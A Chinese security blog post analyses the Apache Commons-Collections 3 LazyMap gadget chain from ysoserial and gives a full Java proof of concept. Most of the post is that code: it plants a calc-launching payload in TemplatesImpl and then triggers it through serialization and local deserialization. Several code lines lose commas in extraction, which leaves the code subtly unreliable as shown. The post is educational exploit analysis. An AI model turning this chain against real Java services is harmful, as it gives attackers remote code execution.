ysoserial CommonsColletions3分析(2)

admin 2021年12月2日08:28:34评论83 views字数 5564阅读18分32秒阅读模式

上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链。

其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

和另一条链的区别:

主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。

下图为LazyMap中的get方法

ysoserial CommonsColletions3分析(2)
image-20210629141520558

构造调用链

前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//转换为byte数组

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name""xxxx");
        setFieldValue(templates, "_bytecodes"new byte[][]{bytes});
        setFieldValue(templates, "_tfactory"new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

利用LazyMap的decorate方法,把chain赋值给factory

ysoserial CommonsColletions3分析(2)

Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);

后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get

ysoserial CommonsColletions3分析(2)

所以利用反射构造方法传入this.memberValues=LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.classMap.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.classdecorate);

再使用动态代理触发AnnotationInvocationHandler的invoke方法

复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法

Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.classproxyAnno);

最终POC

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//转换为byte数组

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name""xxxx");
        setFieldValue(templates, "_bytecodes"new byte[][]{bytes});
        setFieldValue(templates, "_tfactory"new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]
{Templates.class},
                new Object[]
{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map decorate = LazyMap.decorate(innerMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.classMap.class);
        cons.setAccessible(true);
        InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.classdecorate);

        Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);

        InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.classproxyAnno);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(anno2);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();

    }
}

CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了,所以着重分析CC1和CC2哦。


本文始发于微信公众号(安全羊):ysoserial CommonsColletions3分析(2)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月2日08:28:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ysoserial CommonsColletions3分析(2)http://cn-sec.com/archives/422309.html

发表评论

匿名网友 填写信息